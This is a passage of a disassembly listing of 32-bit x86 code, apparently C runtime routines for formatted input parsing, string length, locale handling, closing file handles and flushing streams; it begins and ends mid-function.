mov esp, [ebp+ms_exc.old_esp] call sub_419B68 push 20h call sub_414CAD pop ecx mov [ebp+var_20], eax test eax, eax jnz short loc_417234 or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp loc_4177A8 ; --------------------------------------------------------------------------- loc_417234: ; CODE XREF: sub_416D3B+4EEj mov [ebp+var_24], 1 or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1CC] mov ebx, [ebp+var_20] loc_417248: ; CODE XREF: sub_416D3B+4BAj ; sub_416D3B+4D3j push 20h push 0 push ebx call sub_41C380 add esp, 0Ch cmp [ebp+var_68], 7Bh jnz short loc_4172CF cmp byte ptr [edi], 5Dh jnz short loc_4172CF mov dl, 5Dh inc edi mov byte ptr [ebx+0Bh], 20h jmp short loc_4172D2 ; --------------------------------------------------------------------------- loc_417269: ; CODE XREF: sub_416D3B+59Bj inc edi cmp al, 2Dh jnz short loc_4172B9 test dl, dl jz short loc_4172B9 mov cl, [edi] cmp cl, 5Dh jz short loc_4172B9 inc edi cmp dl, cl jnb short loc_417282 mov al, cl jmp short loc_417286 ; --------------------------------------------------------------------------- loc_417282: ; CODE XREF: sub_416D3B+541j mov al, dl mov dl, cl loc_417286: ; CODE XREF: sub_416D3B+545j cmp dl, al ja short loc_4172B5 movzx esi, dl sub al, dl inc al movzx eax, al mov [ebp+var_1D0], eax loc_41729A: ; CODE XREF: sub_416D3B+578j mov eax, esi shr eax, 3 add eax, ebx mov ecx, esi and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl inc esi dec [ebp+var_1D0] jnz short loc_41729A loc_4172B5: ; CODE XREF: sub_416D3B+54Dj xor dl, dl jmp short loc_4172D2 ; --------------------------------------------------------------------------- loc_4172B9: ; CODE XREF: sub_416D3B+531j ; sub_416D3B+535j ... mov [ebp+var_39], al movzx ecx, al mov eax, ecx shr eax, 3 add eax, ebx and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl loc_4172CF: ; CODE XREF: sub_416D3B+51Ej ; sub_416D3B+523j mov dl, [ebp+var_39] loc_4172D2: ; CODE XREF: sub_416D3B+52Cj ; sub_416D3B+57Cj mov al, [edi] cmp al, 5Dh jnz short loc_417269 test al, al jz loc_4177A8 mov ebx, [ebp+var_64] cmp [ebp+var_68], 7Bh jnz short loc_4172EC mov [ebp+arg_4], edi loc_4172EC: ; CODE XREF: sub_416D3B+5ACj mov edi, [ebp+var_68] loc_4172EF: ; CODE XREF: sub_416D3B+42Dj ; sub_416D3B+437j mov esi, ebx dec [ebp+var_30] cmp [ebp+var_28], 0FFFFFFFFh jz short loc_417307 push [ebp+arg_0] push [ebp+var_28] call sub_41C21E pop ecx pop ecx loc_417307: ; CODE XREF: sub_416D3B+5BDj ; sub_416D3B+754j ... cmp [ebp+var_44], 0 jz short loc_41731B mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz loc_4174AD loc_41731B: ; CODE XREF: sub_416D3B+5D0j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_416D25 mov [ebp+var_28], eax cmp eax, 0FFFFFFFFh jz loc_41749A cmp edi, 63h jz short loc_41737B cmp edi, 73h jnz short loc_41734B cmp eax, 9 jl short loc_417346 cmp eax, 0Dh jle short loc_41734B loc_417346: ; CODE XREF: sub_416D3B+604j cmp eax, 20h jnz short loc_41737B loc_41734B: ; CODE XREF: sub_416D3B+5FFj ; sub_416D3B+609j cmp edi, 7Bh jnz loc_41749A mov ecx, eax and ecx, 7 xor edx, edx inc edx shl edx, cl mov ecx, eax sar ecx, 3 mov edi, [ebp+var_20] movsx ecx, byte ptr [ecx+edi] movsx edi, [ebp+var_49] xor ecx, edi test edx, ecx jz loc_41749A mov edi, [ebp+var_68] loc_41737B: ; CODE XREF: sub_416D3B+5FAj ; sub_416D3B+60Ej cmp [ebp+var_4B], 0 jnz loc_417494 cmp [ebp+var_4D], 0 jz loc_417489 mov [ebp+var_1D4], al movzx eax, al mov ecx, off_42DEB0 test byte ptr [ecx+eax*2+1], 80h jz short loc_4173B6 inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_416D25 mov [ebp+var_1D3], al loc_4173B6: ; CODE XREF: sub_416D3B+668j push dword_42E104 lea eax, [ebp+var_1D4] push eax lea eax, [ebp+var_1D8] push eax call sub_41C34A add esp, 0Ch mov ax, [ebp+var_1D8] mov [ebx], ax inc ebx inc ebx jmp loc_41748C ; --------------------------------------------------------------------------- loc_4173E3: ; CODE XREF: sub_416D3B+27Fj cmp ebx, 2Bh jnz short loc_417406 loc_4173E8: ; CODE XREF: sub_416D3B+289j dec [ebp+var_48] jnz short loc_4173F7 test ecx, ecx jz short loc_4173F7 mov [ebp+var_4C], 1 jmp short loc_417406 ; --------------------------------------------------------------------------- loc_4173F7: ; CODE XREF: sub_416D3B+6B0j ; sub_416D3B+6B4j inc [ebp+var_30] mov edx, esi call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx loc_417406: ; CODE XREF: sub_416D3B+6ABj ; sub_416D3B+6BAj cmp ebx, 30h jnz loc_41751B inc [ebp+var_30] mov edx, esi call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx cmp bl, 78h jz short loc_417463 cmp bl, 58h jz short loc_417463 mov [ebp+var_40], 1 cmp edi, 78h jz short loc_41744A cmp [ebp+var_44], 0 jz short loc_417442 dec [ebp+var_48] jnz short loc_417442 inc [ebp+var_4C] loc_417442: ; CODE XREF: sub_416D3B+6FDj ; sub_416D3B+702j push 6Fh loc_417444: ; CODE XREF: sub_416D3B+74Cj pop edi jmp loc_41751B ; --------------------------------------------------------------------------- loc_41744A: ; CODE XREF: sub_416D3B+6F7j dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_41745B push esi push ebx call sub_41C21E pop ecx pop ecx loc_41745B: ; CODE XREF: sub_416D3B+715j push 30h pop ebx jmp loc_417518 ; --------------------------------------------------------------------------- loc_417463: ; CODE XREF: sub_416D3B+6E6j ; sub_416D3B+6EBj inc [ebp+var_30] mov edx, esi call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx cmp [ebp+var_44], 0 jz short loc_417485 sub [ebp+var_48], 2 cmp [ebp+var_48], 1 jge short loc_417485 inc [ebp+var_4C] loc_417485: ; CODE XREF: sub_416D3B+73Bj ; sub_416D3B+745j push 78h jmp short loc_417444 ; --------------------------------------------------------------------------- loc_417489: ; CODE XREF: sub_416D3B+64Ej mov [ebx], al inc ebx loc_41748C: ; CODE XREF: sub_416D3B+6A3j mov [ebp+var_64], ebx jmp loc_417307 ; --------------------------------------------------------------------------- loc_417494: ; CODE XREF: sub_416D3B+644j inc esi jmp loc_417307 ; --------------------------------------------------------------------------- loc_41749A: ; CODE XREF: sub_416D3B+5F1j ; sub_416D3B+613j ... dec [ebp+var_30] cmp eax, 0FFFFFFFFh jz short loc_4174AD push [ebp+arg_0] push eax call sub_41C21E pop ecx pop ecx loc_4174AD: ; CODE XREF: sub_416D3B+5DAj ; sub_416D3B+765j cmp esi, ebx jz loc_4177A8 cmp [ebp+var_4B], 0 jnz loc_41771C inc [ebp+var_34] cmp [ebp+var_68], 63h jz loc_41771C mov eax, [ebp+var_64] cmp [ebp+var_4D], 0 jz short loc_4174DE and word ptr [eax], 0 jmp loc_41771C ; --------------------------------------------------------------------------- loc_4174DE: ; CODE XREF: sub_416D3B+798j and byte ptr [eax], 0 jmp loc_41771C ; --------------------------------------------------------------------------- loc_4174E6: ; CODE XREF: sub_416D3B+441j mov [ebp+var_4F], 1 loc_4174EA: ; CODE XREF: sub_416D3B+221j ; sub_416D3B+233j ... mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz short loc_4174F8 mov [ebp+var_4A], 1 jmp short loc_4174FD ; --------------------------------------------------------------------------- loc_4174F8: ; CODE XREF: sub_416D3B+7B5j cmp ebx, 2Bh jnz short loc_41751B loc_4174FD: ; CODE XREF: sub_416D3B+7BBj dec [ebp+var_48] jnz short loc_41750C test ecx, ecx jz short loc_41750C mov [ebp+var_4C], 1 jmp short loc_41751B ; --------------------------------------------------------------------------- loc_41750C: ; CODE XREF: sub_416D3B+7C5j ; sub_416D3B+7C9j inc [ebp+var_30] mov edx, esi call sub_416D25 mov ebx, eax loc_417518: ; CODE XREF: sub_416D3B+723j mov [ebp+var_28], ebx loc_41751B: ; CODE XREF: sub_416D3B+6CEj ; sub_416D3B+70Aj ... cmp [ebp+var_54], 0 jz loc_417620 cmp [ebp+var_4C], 0 jnz loc_4175FE loc_41752F: ; CODE XREF: sub_416D3B+8BAj cmp edi, 78h jz short loc_41757A cmp edi, 70h jz short loc_41757A push ebx call sub_41C16B pop ecx test eax, eax jz short loc_4175AB cmp edi, 6Fh jnz short loc_417563 cmp ebx, 38h jge short loc_4175AB mov eax, [ebp+var_5C] mov ecx, [ebp+var_58] shld ecx, eax, 3 shl eax, 3 mov [ebp+var_5C], eax mov [ebp+var_58], ecx jmp short loc_4175AE ; --------------------------------------------------------------------------- loc_417563: ; CODE XREF: sub_416D3B+80Cj push 0 push 0Ah push [ebp+var_58] push [ebp+var_5C] call sub_414CC0 mov [ebp+var_5C], eax mov [ebp+var_58], edx jmp short loc_4175AE ; --------------------------------------------------------------------------- loc_41757A: ; CODE XREF: sub_416D3B+7F7j ; sub_416D3B+7FCj push ebx call sub_41C1A5 pop ecx test eax, eax jz short loc_4175AB mov eax, [ebp+var_5C] mov ecx, [ebp+var_58] shld ecx, eax, 4 shl eax, 4 mov [ebp+var_5C], eax mov [ebp+var_58], ecx push ebx call sub_41C16B pop ecx test eax, eax jnz short loc_4175AE and ebx, 0FFFFFFDFh sub ebx, 7 jmp short loc_4175AE ; --------------------------------------------------------------------------- loc_4175AB: ; CODE XREF: sub_416D3B+807j ; sub_416D3B+811j ... inc [ebp+var_4C] loc_4175AE: ; CODE XREF: sub_416D3B+826j ; sub_416D3B+83Dj ... cmp [ebp+var_4C], 0 jnz short loc_4175E0 inc [ebp+var_40] lea eax, [ebx-30h] cdq add [ebp+var_5C], eax adc [ebp+var_58], edx cmp [ebp+var_44], 0 jz short loc_4175D2 dec [ebp+var_48] jnz short loc_4175D2 mov [ebp+var_4C], 1 jmp short loc_4175F1 ; --------------------------------------------------------------------------- loc_4175D2: ; CODE XREF: sub_416D3B+88Aj ; sub_416D3B+88Fj inc [ebp+var_30] mov edx, esi call sub_416D25 mov ebx, eax jmp short loc_4175F1 ; --------------------------------------------------------------------------- loc_4175E0: ; CODE XREF: sub_416D3B+877j dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_4175F1 push esi push ebx call sub_41C21E pop ecx pop ecx loc_4175F1: ; CODE XREF: sub_416D3B+895j ; sub_416D3B+8A3j ... cmp [ebp+var_4C], 0 jz loc_41752F mov [ebp+var_28], ebx loc_4175FE: ; CODE XREF: sub_416D3B+7EEj cmp [ebp+var_4A], 0 jz loc_4176DA mov eax, [ebp+var_5C] neg eax mov ecx, [ebp+var_58] adc ecx, 0 neg ecx mov [ebp+var_5C], eax mov [ebp+var_58], ecx jmp loc_4176DA ; --------------------------------------------------------------------------- loc_417620: ; CODE XREF: sub_416D3B+7E4j cmp [ebp+var_4C], 0 jnz loc_4176D1 loc_41762A: ; CODE XREF: sub_416D3B+98Dj cmp edi, 78h jz short loc_41765C cmp edi, 70h jz short loc_41765C push ebx call sub_41C16B pop ecx test eax, eax jz short loc_41767E cmp edi, 6Fh jnz short loc_41764F cmp ebx, 38h jge short loc_41767E shl [ebp+var_38], 3 jmp short loc_417681 ; --------------------------------------------------------------------------- loc_41764F: ; CODE XREF: sub_416D3B+907j mov eax, [ebp+var_38] lea eax, [eax+eax*4] shl eax, 1 mov [ebp+var_38], eax jmp short loc_417681 ; --------------------------------------------------------------------------- loc_41765C: ; CODE XREF: sub_416D3B+8F2j ; sub_416D3B+8F7j push ebx call sub_41C1A5 pop ecx test eax, eax jz short loc_41767E shl [ebp+var_38], 4 push ebx call sub_41C16B pop ecx test eax, eax jnz short loc_417681 and ebx, 0FFFFFFDFh sub ebx, 7 jmp short loc_417681 ; --------------------------------------------------------------------------- loc_41767E: ; CODE XREF: sub_416D3B+902j ; sub_416D3B+90Cj ... inc [ebp+var_4C] loc_417681: ; CODE XREF: sub_416D3B+912j ; sub_416D3B+91Fj ... cmp [ebp+var_4C], 0 jnz short loc_4176B3 inc [ebp+var_40] mov eax, [ebp+var_38] lea eax, [eax+ebx-30h] mov [ebp+var_38], eax cmp [ebp+var_44], 0 jz short loc_4176A5 dec [ebp+var_48] jnz short loc_4176A5 mov [ebp+var_4C], 1 jmp short loc_4176C4 ; --------------------------------------------------------------------------- loc_4176A5: ; CODE XREF: sub_416D3B+95Dj ; sub_416D3B+962j inc [ebp+var_30] mov edx, esi call sub_416D25 mov ebx, eax jmp short loc_4176C4 ; --------------------------------------------------------------------------- loc_4176B3: ; CODE XREF: sub_416D3B+94Aj dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_4176C4 push esi push ebx call sub_41C21E pop ecx pop ecx loc_4176C4: ; CODE XREF: sub_416D3B+968j ; sub_416D3B+976j ... cmp [ebp+var_4C], 0 jz loc_41762A mov [ebp+var_28], ebx loc_4176D1: ; CODE XREF: sub_416D3B+8E9j cmp [ebp+var_4A], 0 jz short loc_4176DA neg [ebp+var_38] loc_4176DA: ; CODE XREF: sub_416D3B+8C7j ; sub_416D3B+8E0j ... cmp edi, 46h jnz short loc_4176E3 and [ebp+var_40], 0 loc_4176E3: ; CODE XREF: sub_416D3B+9A2j cmp [ebp+var_40], 0 jz loc_4177A8 cmp [ebp+var_4B], 0 jnz short loc_41771C inc [ebp+var_34] mov ebx, [ebp+var_64] mov eax, [ebp+var_38] loc_4176FC: ; CODE XREF: sub_416D3B+259j cmp [ebp+var_54], 0 jz short loc_41770F mov eax, [ebp+var_5C] mov [ebx], eax mov eax, [ebp+var_58] mov [ebx+4], eax jmp short loc_41771C ; --------------------------------------------------------------------------- loc_41770F: ; CODE XREF: sub_416D3B+9C5j cmp [ebp+var_4F], 0 jz short loc_417719 mov [ebx], eax jmp short loc_41771C ; --------------------------------------------------------------------------- loc_417719: ; CODE XREF: sub_416D3B+9D8j mov [ebx], ax loc_41771C: ; CODE XREF: sub_416D3B+25Fj ; sub_416D3B+3F1j ... inc [ebp+var_29] inc [ebp+arg_4] jmp short loc_41778C ; --------------------------------------------------------------------------- loc_417724: ; CODE XREF: sub_416D3B+90j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx movzx eax, byte ptr [esi] inc esi mov [ebp+arg_4], esi cmp eax, ebx jnz short loc_417775 movzx eax, bl mov ecx, off_42DEB0 test byte ptr [ecx+eax*2+1], 80h jz short loc_41778C inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_416D25 movzx ecx, byte ptr [esi] inc esi mov [ebp+arg_4], esi cmp ecx, eax jz short loc_417789 cmp eax, 0FFFFFFFFh jz short loc_417775 push [ebp+arg_0] push eax call sub_41C21E pop ecx pop ecx loc_417775: ; CODE XREF: sub_416D3B+A02j ; sub_416D3B+A2Dj cmp ebx, 0FFFFFFFFh loc_417778: ; CODE XREF: sub_416D3B+471j jz short loc_4177A8 push [ebp+arg_0] push [ebp+var_28] call sub_41C21E pop ecx pop ecx jmp short loc_4177A8 ; --------------------------------------------------------------------------- loc_417789: ; CODE XREF: sub_416D3B+A28j dec [ebp+var_30] loc_41778C: ; CODE XREF: sub_416D3B+9E7j ; sub_416D3B+A12j cmp [ebp+var_28], 0FFFFFFFFh jnz loc_416D69 mov eax, [ebp+arg_4] cmp byte ptr [eax], 25h jnz short loc_4177A8 cmp byte ptr [eax+1], 6Eh jz loc_416D69 loc_4177A8: ; CODE XREF: sub_416D3B+35j ; sub_416D3B+3E7j ... cmp [ebp+var_24], 1 jnz short loc_4177B7 push [ebp+var_20] call sub_414844 pop ecx loc_4177B7: ; CODE XREF: sub_416D3B+A71j mov eax, [ebp+var_34] cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_4177CC test eax, eax jnz short loc_4177CC cmp [ebp+var_29], al jnz short loc_4177CC or eax, 0FFFFFFFFh loc_4177CC: ; CODE XREF: sub_416D3B+A83j ; sub_416D3B+A87j ... lea esp, [ebp-1E4h] mov ecx, [ebp+var_1C] xor ecx, [ebp+4] call sub_41A026 call __SEH_epilog retn sub_416D3B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4177F0 proc near ; CODE XREF: sub_4145F3+17p ; sub_415994+D2p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417820 loc_4177FC: ; CODE XREF: sub_4177F0+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_417853 test ecx, 3 jnz short loc_4177FC add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_417820: ; CODE XREF: sub_4177F0+Aj ; sub_4177F0+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417820 mov eax, [ecx-4] test al, al jz short loc_417871 test ah, ah jz short loc_417867 test eax, 0FF0000h jz short loc_41785D test eax, 0FF000000h jz short loc_417853 jmp short loc_417820 ; --------------------------------------------------------------------------- loc_417853: ; CODE XREF: sub_4177F0+13j ; sub_4177F0+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41785D: ; CODE XREF: sub_4177F0+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417867: ; CODE XREF: sub_4177F0+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417871: ; CODE XREF: sub_4177F0+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_4177F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41787B proc near ; CODE XREF: sub_41471A+2Ap ; sub_41507A+37p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] lea ecx, [eax+1] cmp ecx, 100h mov ecx, [ebp+arg_0] ja short loc_417899 mov ecx, [ecx+48h] movzx eax, word ptr [ecx+eax*2] jmp short loc_4178ED ; --------------------------------------------------------------------------- loc_417899: ; CODE XREF: sub_41787B+13j push esi mov edx, eax sar edx, 8 push edi mov edi, [ecx+48h] movzx esi, dl test byte ptr [edi+esi*2+1], 80h pop edi pop esi jz short loc_4178BE and [ebp+var_2], 0 push 2 mov [ebp+var_3], al mov [ebp+var_4], dl pop eax jmp short loc_4178C8 ; --------------------------------------------------------------------------- loc_4178BE: ; CODE XREF: sub_41787B+32j and [ebp+var_3], 0 mov [ebp+var_4], al xor eax, eax inc eax loc_4178C8: ; CODE XREF: sub_41787B+41j push 1 push dword ptr [ecx+14h] push dword ptr [ecx+4] lea ecx, [ebp+arg_4+2] push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41C3E0 add esp, 1Ch test eax, eax jnz short loc_4178E9 leave retn ; --------------------------------------------------------------------------- loc_4178E9: ; CODE XREF: sub_41787B+6Aj movzx eax, word ptr [ebp+arg_4+2] loc_4178ED: ; CODE XREF: sub_41787B+1Cj and eax, [ebp+arg_8] leave retn sub_41787B endp ; =============== S U B R O U T I N E ======================================= sub_4178F2 proc near ; CODE XREF: sub_4179BC+B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+3Ch] push edi xor edi, edi cmp eax, dword_47C4B0 jz short loc_417968 cmp eax, edi jz short loc_417968 mov eax, [esi+2Ch] cmp [eax], edi jnz short loc_417968 mov eax, [esi+34h] cmp eax, edi jz short loc_417933 cmp [eax], edi jnz short loc_417933 cmp eax, dword_47C630 jz short loc_417933 push eax call sub_414844 push dword ptr [esi+3Ch] call sub_41C789 pop ecx pop ecx loc_417933: ; CODE XREF: sub_4178F2+23j ; sub_4178F2+27j ... mov eax, [esi+30h] cmp eax, edi jz short loc_417956 cmp [eax], edi jnz short loc_417956 cmp eax, dword_47C634 jz short loc_417956 push eax call sub_414844 push dword ptr [esi+3Ch] call sub_41C72A pop ecx pop ecx loc_417956: ; CODE XREF: sub_4178F2+46j ; sub_4178F2+4Aj ... push dword ptr [esi+2Ch] call sub_414844 push dword ptr [esi+3Ch] call sub_414844 pop ecx pop ecx loc_417968: ; CODE XREF: sub_4178F2+11j ; sub_4178F2+15j ... mov eax, [esi+40h] cmp eax, dword_47C62C jz short loc_41798B cmp eax, edi jz short loc_41798B cmp [eax], edi jnz short loc_41798B push eax call sub_414844 push dword ptr [esi+44h] call sub_414844 pop ecx pop ecx loc_41798B: ; CODE XREF: sub_4178F2+7Fj ; sub_4178F2+83j ... mov eax, [esi+50h] cmp eax, dword_47C4AC jz short loc_4179B2 cmp eax, edi jz short loc_4179B2 cmp [eax+0B4h], edi jnz short loc_4179B2 push eax call sub_41C59A push dword ptr [esi+50h] call sub_414844 pop ecx pop ecx loc_4179B2: ; CODE XREF: sub_4178F2+A2j ; sub_4178F2+A6j ... push esi call sub_414844 pop ecx pop edi pop esi retn sub_4178F2 endp ; =============== S U B R O U T I N E ======================================= sub_4179BC proc near ; CODE XREF: sub_417A7E+18p push esi call sub_416C45 mov esi, eax mov eax, [esi+64h] cmp eax, off_42D84C jz loc_417A79 test eax, eax jz short loc_417A06 mov ecx, [eax+2Ch] dec dword ptr [eax] test ecx, ecx jz short loc_4179E2 dec dword ptr [ecx] loc_4179E2: ; CODE XREF: sub_4179BC+22j mov ecx, [eax+34h] test ecx, ecx jz short loc_4179EB dec dword ptr [ecx] loc_4179EB: ; CODE XREF: sub_4179BC+2Bj mov ecx, [eax+30h] test ecx, ecx jz short loc_4179F4 dec dword ptr [ecx] loc_4179F4: ; CODE XREF: sub_4179BC+34j mov ecx, [eax+40h] test ecx, ecx jz short loc_4179FD dec dword ptr [ecx] loc_4179FD: ; CODE XREF: sub_4179BC+3Dj mov ecx, [eax+4Ch] dec dword ptr [ecx+0B4h] loc_417A06: ; CODE XREF: sub_4179BC+19j mov ecx, off_42D84C mov [esi+64h], ecx mov ecx, off_42D84C inc dword ptr [ecx] mov ecx, off_42D84C mov ecx, [ecx+2Ch] test ecx, ecx jz short loc_417A26 inc dword ptr [ecx] loc_417A26: ; CODE XREF: sub_4179BC+66j mov ecx, off_42D84C mov ecx, [ecx+34h] test ecx, ecx jz short loc_417A35 inc dword ptr [ecx] loc_417A35: ; CODE XREF: sub_4179BC+75j mov ecx, off_42D84C mov ecx, [ecx+30h] test ecx, ecx jz short loc_417A44 inc dword ptr [ecx] loc_417A44: ; CODE XREF: sub_4179BC+84j mov ecx, off_42D84C mov ecx, [ecx+40h] test ecx, ecx jz short loc_417A53 inc dword ptr [ecx] loc_417A53: ; CODE XREF: sub_4179BC+93j mov ecx, off_42D84C mov ecx, [ecx+4Ch] inc dword ptr [ecx+0B4h] test eax, eax jz short loc_417A79 cmp dword ptr [eax], 0 jnz short loc_417A79 cmp eax, offset dword_42D7F8 jz short loc_417A79 push eax call sub_4178F2 pop ecx loc_417A79: ; CODE XREF: sub_4179BC+11j ; sub_4179BC+A8j ... mov eax, [esi+64h] pop esi retn sub_4179BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A7E proc near ; CODE XREF: sub_41471A+12p ; sub_414F66+24p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_428FD8 call __SEH_prolog push 0Ch call sub_4180B5 pop ecx and [ebp+ms_exc.disabled], 0 call sub_4179BC mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_417AB0 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_417A7E endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_417A7E+24p ; DATA XREF: .rdata:stru_428FD8o push 0Ch call sub_418021 pop ecx retn sub_417AB0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB9 proc near ; CODE XREF: sub_417B3C+4Cp ; sub_41D38D+2DCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_41CB4B cmp eax, 0FFFFFFFFh pop ecx jz short loc_417B07 cmp esi, 1 jz short loc_417AD5 cmp esi, 2 jnz short loc_417AEB loc_417AD5: ; CODE XREF: sub_417AB9+15j push 2 call sub_41CB4B push 1 mov edi, eax call sub_41CB4B cmp eax, edi pop ecx pop ecx jz short loc_417B07 loc_417AEB: ; CODE XREF: sub_417AB9+1Aj push esi call sub_41CB4B pop ecx push eax call ds:dword_42003C ; CloseHandle test eax, eax jnz short loc_417B07 call ds:dword_420008 ; RtlGetLastWin32Error mov edi, eax jmp short loc_417B09 ; --------------------------------------------------------------------------- loc_417B07: ; CODE XREF: sub_417AB9+10j ; sub_417AB9+30j ... xor edi, edi loc_417B09: ; CODE XREF: sub_417AB9+4Cj push esi call sub_41CACC mov eax, esi sar eax, 5 mov eax, dword_47C640[eax*4] and esi, 1Fh pop ecx lea ecx, [esi+esi*8] and byte ptr [eax+ecx*4+4], 0 test edi, edi jz short loc_417B37 push edi call sub_419442 pop ecx or eax, 0FFFFFFFFh jmp short loc_417B39 ; --------------------------------------------------------------------------- loc_417B37: ; CODE XREF: sub_417AB9+70j xor eax, eax loc_417B39: ; CODE XREF: sub_417AB9+7Cj pop edi pop esi retn sub_417AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B3C proc near ; CODE XREF: sub_4147A7+20p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00417BBB SIZE 0000001C BYTES push 0Ch push offset stru_428FE8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47C638 jnb short loc_417BBB mov eax, ebx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_417BBB push ebx call sub_41CB8C pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_417B93 push ebx call sub_417AB9 pop ecx mov [ebp+var_1C], eax jmp short loc_417BA2 ; --------------------------------------------------------------------------- loc_417B93: ; CODE XREF: sub_417B3C+49j call sub_419430 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_417BA2: ; CODE XREF: sub_417B3C+55j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_417BB3 mov eax, [ebp+var_1C] jmp short loc_417BD1 sub_417B3C endp ; =============== S U B R O U T I N E ======================================= sub_417BB0 proc near ; DATA XREF: .rdata:stru_428FE8o mov ebx, [ebp+8] sub_417BB0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417BB3 proc near ; CODE XREF: sub_417B3C+6Ap push ebx call sub_41CBFF pop ecx retn sub_417BB3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417B3C loc_417BBB: ; CODE XREF: sub_417B3C+15j ; sub_417B3C+35j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_417BD1: ; CODE XREF: sub_417B3C+72j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_417B3C ; =============== S U B R O U T I N E ======================================= sub_417BD7 proc near ; CODE XREF: sub_4147A7+18p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_417C00 test al, 8 jz short loc_417C00 push dword ptr [esi+8] call sub_414844 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_417C00: ; CODE XREF: sub_417BD7+Aj ; sub_417BD7+Ej pop esi retn sub_417BD7 endp ; =============== S U B R O U T I N E ======================================= sub_417C02 proc near ; CODE XREF: sub_4147A7+10p ; sub_415FF8+38p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_417C51 test ax, 108h jz short loc_417C51 mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_417C50 push edi push eax push dword ptr [esi+10h] call sub_41BF10 add esp, 0Ch cmp eax, edi jnz short loc_417C49 mov eax, [esi+0Ch] test al, al jns short loc_417C50 and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_417C50 ; --------------------------------------------------------------------------- loc_417C49: ; CODE XREF: sub_417C02+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_417C50: ; CODE XREF: sub_417C02+25j ; sub_417C02+3Dj ... pop edi loc_417C51: ; CODE XREF: sub_417C02+13j ; sub_417C02+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_417C02 endp ; =============== S U B R O U T I N E ======================================= sub_417C5F proc near ; CODE XREF: sub_417C8D+67p ; sub_417C8D+82p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_417C02 test eax, eax pop ecx jz short loc_417C74 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_417C74: ; CODE XREF: sub_417C5F+Ej test byte ptr [esi+0Dh], 40h jz short loc_417C89 push dword ptr [esi+10h] call sub_41CD6E pop ecx neg eax sbb eax, eax 